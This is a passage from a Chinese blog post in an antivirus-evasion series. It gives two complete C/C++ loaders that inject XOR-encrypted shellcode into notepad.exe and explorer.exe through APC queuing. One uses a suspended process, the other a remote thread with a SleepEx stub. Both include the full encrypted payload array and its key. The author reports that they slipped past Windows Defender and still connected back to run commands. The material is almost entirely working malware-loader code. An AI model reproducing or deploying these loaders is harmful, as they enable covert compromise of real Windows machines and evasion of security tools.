    SIZE_T bytesRead;

    // 读取远程内存
    if (!ReadProcessMemory(hProcess, remoteAddr, buffer, len, &bytesRead)) {
        std::cerr << "[-] 读取远程内存失败" << std::endl;
        delete[] buffer;
        return;
    }

    // XOR 解密
    for (size_t i = 0; i < len; ++i) {
        buffer[i] ^= key[i % strlen(key)];
    }

    // 写回远程进程
    SIZE_T bytesWritten;
    if (!WriteProcessMemory(hProcess, remoteAddr, buffer, len, &bytesWritten)) {
        std::cerr << "[-] 写入解密数据失败" << std::endl;
    }

    delete[] buffer;
}

// 清除 shellcode
void ClearRemoteShellcode(HANDLE hProcess, LPVOID remoteAddr, size_t len) {
    char* zero = new char[len];
    memset(zero, 0, len);
    SIZE_T written;
    WriteProcessMemory(hProcess, remoteAddr, zero, len, &written);
    delete[] zero;
}

int main() {
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    const char* xor_key = "kun";

    // 创建挂起进程
    if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        std::cerr << "[-] 创建目标进程失败: " << GetLastError() << std::endl;
        return -1;
    }

    // 分配内存
    LPVOID remote_mem = VirtualAllocEx(
        pi.hProcess, NULL, shellcode_len,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (!remote_mem) {
        std::cerr << "[-] 分配远程内存失败" << std::endl;
        return -1;
    }

    // 写入加密 shellcode
    if (!WriteProcessMemory(pi.hProcess, remote_mem, enc_shellcode, shellcode_len, NULL)) {
        std::cerr << "[-] 写入 shellcode 失败" << std::endl;
        return -1;
    }

    // 解密(在内存中解密!)
    DecryptRemoteShellcode(pi.hProcess, remote_mem, shellcode_len, xor_key);

    // 插入 APC
    if (QueueUserAPC((PAPCFUNC)remote_mem, pi.hThread, NULL) == 0) {
        std::cerr << "[-] QueueUserAPC 失败" << std::endl;
        return -1;
    }

    // 执行
    ResumeThread(pi.hThread);
    std::cout << "[+] Shellcode 执行中..." << std::endl;

    // 等待 2 秒,再清除(或自行调整时机)
    Sleep(2000);
    ClearRemoteShellcode(pi.hProcess, remote_mem, shellcode_len);
    std::cout << "[+] Shellcode 清除完成" << std::endl;

    // 清理句柄
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    return 0;
}

测试截图

这个也是,调试了很久才过DF,刚开始也是嘎嘎杀!

自建远程线程

这种的话就有点偏离APC宗旨了,彷佛是纯粹为了APC而APC

注入流程

步骤操作说明作用/目的
1查找目标进程(如 explorer.exe)获得目标PID
2打开目标进程句柄(OpenProcess)获得访问、分配、写入权限
3查找远程 SleepEx 地址保证stub可正确调用SleepEx
4构造线程Stub(SleepEx(INFINITE, TRUE))保证新线程会进入Alertable状态
5远程分配内存(VirtualAllocEx)分配shellcode与stub的空间
6写入加密shellcode、远程XOR解密保证payload不可静态发现
7写入线程Stub到远程内存设定新线程入口
8创建挂起远程线程(CreateRemoteThread, CREATE_SUSPENDED)等待APC排队
9向新线程APC队列投递shellcode安排shellcode等待被执行
10唤醒线程(ResumeThread)线程进入Alertable, 触发APC执行
11关闭句柄、清理资源提升隐蔽性,避免取证痕迹

注入器代码

#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")


unsigned char enc_shellcode[] = "\x97\x3d\xed\x8f\x85\x86\xa3\x75\x6e\x6b\x34\x3f\x2a\x25\x3c\x3a\x23\x26\x5a\xa7\x0b\x23\xfe\x3c\x0b\x3d\xe5\x39\x6d\x26\xe0\x27\x4e\x23\xfe\x1c\x3b\x3d\x61\xdc\x3f\x24\x26\x44\xa7\x23\x44\xae\xc7\x49\x0f\x17\x77\x42\x4b\x34\xaf\xa2\x78\x2f\x6a\xb4\x8c\x86\x27\x2f\x3a\x3d\xe5\x39\x55\xe5\x29\x49\x26\x6a\xa5\x08\xea\x0d\x76\x60\x77\x1b\x19\xfe\xee\xe3\x75\x6e\x6b\x3d\xeb\xab\x01\x09\x23\x74\xbe\x3b\xfe\x26\x73\x31\xe5\x2b\x55\x27\x6a\xa5\x8d\x3d\x3d\x91\xa2\x34\xe5\x5f\xfd\x26\x6a\xa3\x23\x5a\xbc\x26\x5a\xb5\xc2\x2a\xb4\xa7\x66\x34\x6f\xaa\x4d\x8e\x1e\x84\x22\x68\x39\x4a\x63\x30\x57\xba\x00\xb6\x33\x31\xe5\x2b\x51\x27\x6a\xa5\x08\x2a\xfe\x62\x23\x31\xe5\x2b\x69\x27\x6a\xa5\x2f\xe0\x71\xe6\x23\x74\xbe\x2a\x2d\x2f\x33\x2b\x37\x31\x34\x36\x2a\x2c\x2f\x31\x3d\xed\x87\x55\x2f\x39\x8a\x8e\x33\x34\x37\x31\x3d\xe5\x79\x9c\x21\x94\x8a\x91\x36\x1f\x6e\x22\xcb\x19\x02\x1b\x07\x05\x10\x1a\x6b\x34\x38\x22\xfc\x88\x27\xfc\x9f\x2a\xcf\x22\x1c\x53\x69\x94\xa0\x26\x5a\xbc\x26\x5a\xa7\x23\x5a\xb5\x23\x5a\xbc\x2f\x3b\x34\x3e\x2a\xcf\x54\x3d\x0c\xc9\x94\xa0\x85\x18\x2f\x26\xe2\xb4\x2f\xd3\x28\x7f\x6b\x75\x23\x5a\xbc\x2f\x3a\x34\x3f\x01\x76\x2f\x3a\x34\xd4\x3c\xfc\xf1\xad\x8a\xbb\x80\x2c\x35\x23\xfc\xaf\x23\x44\xbc\x22\xfc\xb6\x26\x44\xa7\x39\x1d\x6e\x69\x35\xea\x39\x27\x2f\xd1\x9e\x3b\x45\x4e\x91\xbe\x3d\xe7\xad\x3d\xed\xa8\x25\x04\x61\x2a\x26\xe2\x84\x26\xe2\xaf\x27\xac\xb5\x91\x94\x8a\x91\x26\x44\xa7\x39\x27\x2f\xd1\x58\x68\x73\x0e\x91\xbe\xf0\xae\x64\xf0\xf3\x6a\x75\x6e\x23\x8a\xa1\x64\xf1\xe2\x6a\x75\x6e\x80\xa6\x87\x8f\x74\x6e\x6b\x9d\xcc\x94\x8a\x91\x44\x11\x5d\x0f\x17\x6e\x9e\xe1\x94\xb9\x9b\x78\x83\xcc\x97\xe4\x7a\xf1\xa8\x9c\x2f\x5e\x92\x2e\xa9\x05\xac\x3b\x1a\x80\xad\x7f\x9b\xdc\x1a\x02\xe9\xa4\x43\x22\x61\x1c\xd2\xfe\x99\xcc\xb0\x2d\x7c\x58\xf8\x57\xe2\x0f\x1c\x40\xba\xc6\x72\xaf\x70\xdb\x00\x10\x71\xe1\x7d\x09\x2b\x1e\x34\xc1\x39\x43\xe5\x5b\x11\x81\x79\x75\x3b\x18\x10\x1c\x46\x34\x09\x0e\x1b\x1a\x51\x55\x23\x04\x0f\x07\x07\x19\x0f\x44\x40\x40\x5b\x55\x46\x08\x1a\x03\x1b\x14\x1a\x02\x17\x02\x0e\x4e\x4e\x26\x26\x27\x2e\x55\x57\x45\x45\x55\x4b\x22\x07\x05\x11\x01\x1c\x06\x4e\x25\x21\x4e\x5d\x5b\x5f\x50\x55\x3a\x19\x1c\x0a\x0e\x1b\x1a\x44\x40\x40\x5b\x5c\x4e\x27\x37\x2c\x39\x3a\x39\x38\x30\x3c\x66\x7f\x6e\xb3\x68\x27\xa6\x09\x09\xbf\x40\x64\xa6\x7e\x01\x28\xcd\x43\x33\x14\xb8\x22\xe3\x86\xe1\xbc\x6e\xbd\x0d\xd3\xa5\x0b\x86\x8d\xa6\x62\x24\x96\xe4\xa7\x64\x15\x25\x41\x93\xe6\xd1\x9e\xb5\xf5\x4e\x21\xed\x79\x51\xa7\xca\xe1\x1d\xa0\x13\xd2\xd8\xbc\x33\x3c\x1b\xeb\x04\x92\xbe\x0c\xd2\xd2\x84\xc4\xa4\x94\x67\xc0\xe7\xf3\x48\x36\x8f\x79\x11\xcb\x7b\xd7\x3d\x37\x32\xe9\xfc\xb7\x6a\xe1\xac\x27\xac\xe5\x30\x26\xf0\x58\x37\x41\x25\x54\xa0\xdf\xdd\x65\x7f\xe4\xfb\x0e\xff\x25\x03\x9b\x8e\xfb\x98\xab\xca\xf0\x6a\xe2\x5b\xae\xcb\x61\xfa\xaa\x15\xdc\x51\xd6\x58\x7c\x1b\x64\x83\xd0\xa6\x89\xe9\x2c\xa6\xff\x40\x9e\x83\xd5\x03\x41\x1d\x9c\xee\x07\x67\x80\xf9\xa3\x3f\x24\x32\x31\x0d\x28\x5e\xff\xa2\xd5\x4b\x2a\xd7\xb1\x4d\xed\x97\x38\xcb\x72\xa3\x18\x86\x4f\x41\xb6\xf1\x07\x4f\x9a\x22\x8c\xea\xe8\x5b\x09\x7e\xff\x54\x48\xcb\x55\xf6\xd9\x0b\xef\x4e\xb2\xc2\xca\x02\xe3\x6e\x2a\xcb\x9e\xde\xd7\x38\x94\xa0\x26\x5a\xbc\xd4\x6b\x75\x2e\x6b\x34\xd6\x6b\x65\x6e\x6b\x34\xd7\x2b\x75\x6e\x6b\x34\xd4\x33\xd1\x3d\x8e\x8a\xbb\x23\xe6\x3d\x38\x3d\xe7\x8c\x3d\xe7\x9a\x3d\xe7\xb1\x34\xd6\x6b\x55\x6e\x6b\x3c\xe7\x92\x34\xd4\x79\xe3\xe7\x89\x8a\xbb\x23\xf6\xaa\x4b\xf0\xae\x1f\xc3\x08\xe0\x72\x26\x6a\xb6\xeb\xab\x00\xb9\x33\x2d\x36\x23\x70\x6e\x6b\x75\x6e\x3b\xb6\x86\xf4\x88\x91\x94\x44\x57\x59\x5b\x5f\x5d\x4d\x40\x5f\x4d\x40\x5a\x75\x6e\x61\x59\x44";
size_t shellcode_len = sizeof(enc_shellcode);

const char xor_key[] = "kun";
size_t xor_key_len = sizeof(xor_key) - 1;

// x64 SleepEx(INFINITE, TRUE) stub (占用18字节)
unsigned char sleepStub[] = {
    // mov ecx, 0xFFFFFFFF
    0xB9, 0xFF, 0xFF, 0xFF, 0xFF,
    // mov edx, 0x01
    0xBA, 0x01, 0x00, 0x00, 0x00,
    // mov rax, SleepEx地址(后面动态填充)
    0x48, 0xB8, 0,0,0,0, 0,0,0,0,
    // call rax
    0xFF, 0xD0,
    // ret
    0xC3
};
size_t stub_len = sizeof(sleepStub);

DWORD64 GetRemoteProcAddress(HANDLE hProcess, const wchar_t* dllName, const char* funcName) {
    HMODULE hMods[1024];
    DWORD cbNeeded;
    if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
        for (unsigned int i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
            wchar_t szModName[MAX_PATH];
            if (GetModuleBaseNameW(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(wchar_t))) {
                if (_wcsicmp(szModName, dllName) == 0) {
                    HMODULE hLocal = GetModuleHandleW(dllName);
                    FARPROC fLocal = GetProcAddress(hLocal, funcName);
                    DWORD64 offset = (DWORD64)fLocal - (DWORD64)hLocal;
                    return (DWORD64)hMods[i] + offset;
                }
            }
        }
    }
    return 0;
}

// 自动查找 explorer.exe(或你指定的进程)
DWORD FindTargetProcess(LPCWSTR processName) {
    PROCESSENTRY32 pe = { 0 };
    pe.dwSize = sizeof(pe);
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
    DWORD pid = 0;
    if (Process32First(hSnapshot, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, processName) == 0) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnapshot, &pe));
    }
    CloseHandle(hSnapshot);
    return pid;
}

int InjectAPCWithStub(DWORD pid) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        printf("[-] OpenProcess failed\n");
        return -1;
    }

    // 查找远程进程 kernel32!SleepEx 的地址
    DWORD64 sleepex_addr = GetRemoteProcAddress(hProcess, L"kernel32.dll", "SleepEx");
    if (!sleepex_addr) {
        printf("[-] 找不到远程 SleepEx 地址\n");
        CloseHandle(hProcess);
        return -10;
    }
    // 填充 stub 里的 SleepEx 地址
    memcpy(sleepStub + 10, &sleepex_addr, sizeof(DWORD64));

    // 分配并写入sleepStub
    LPVOID remoteStub = VirtualAllocEx(hProcess, NULL, stub_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!remoteStub) {
        printf("[-] 分配线程stub失败\n");
        CloseHandle(hProcess);
        return -2;
    }
    if (!WriteProcessMemory(hProcess, remoteStub, sleepStub, stub_len, NULL)) {
        printf("[-] 写入线程stub失败\n");
        VirtualFreeEx(hProcess, remoteStub, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -3;
    }

    // 分配Shellcode
    LPVOID remoteShell = VirtualAllocEx(hProcess, NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!remoteShell) {
        printf("[-] 分配shellcode失败\n");
        VirtualFreeEx(hProcess, remoteStub, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -4;
    }

    // 写入加密shellcode
    if (!WriteProcessMemory(hProcess, remoteShell, enc_shellcode, shellcode_len, NULL)) {
        printf("[-] 写入shellcode失败\n");
        VirtualFreeEx(hProcess, remoteStub, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, remoteShell, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -5;
    }

    // 解密
    for (size_t i = 0; i < shellcode_len; ++i) {
        unsigned char dec = enc_shellcode[i] ^ xor_key[i % xor_key_len];
        if (!WriteProcessMemory(hProcess, (LPVOID)((BYTE*)remoteShell + i), &dec, 1, NULL)) {
            printf("[-] 解密写入失败@%zu\n", i);
            VirtualFreeEx(hProcess, remoteStub, 0, MEM_RELEASE);
            VirtualFreeEx(hProcess, remoteShell, 0, MEM_RELEASE);
            CloseHandle(hProcess);
            return -6;
        }
    }

    // 改为可执行
    DWORD oldProtect;
    VirtualProtectEx(hProcess, remoteShell, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);

    // 新建线程,入口为我们的stub
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteStub, NULL, CREATE_SUSPENDED, NULL);
    if (!hThread) {
        printf("[-] 新建远程线程失败\n");
        VirtualFreeEx(hProcess, remoteStub, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, remoteShell, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -7;
    }

    // 投递APC
    if (!QueueUserAPC((PAPCFUNC)remoteShell, hThread, NULL)) {
        printf("[-] APC挂载失败\n");
        TerminateThread(hThread, 0);
        VirtualFreeEx(hProcess, remoteStub, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, remoteShell, 0, MEM_RELEASE);
        CloseHandle(hThread);
        CloseHandle(hProcess);
        return -8;
    }

    // 唤醒线程,进入alertable,APC立即执行
    ResumeThread(hThread);

    printf("[+] APC注入并触发完成,目标PID: %u\n", pid);

    // 收尾
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

int wmain() {
    LPCWSTR target = L"explorer.exe";
    DWORD pid = FindTargetProcess(target);
    if (!pid) {
        wprintf(L"[-] 未找到目标进程: %ls\n", target);
        return -1;
    }
    wprintf(L"[+] 目标进程: %ls (PID: %u)\n", target, pid);
    return InjectAPCWithStub(pid);
}

测试截图

编译出来,放到DF下未被检测,同样可以正常上线和执行命令。

结尾

免杀效果通常受多方面影响,没有哪一种技术或者手段能够通吃,通常需要多种手段结合才能最终实现免杀;其次,实战中面临的环境也不一样,不同的杀软效果也不一样,具体问题还需具体分析。本系列文章以技术的实现为主,验证时讲究点到为止,以此表达一项技术的有效性。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值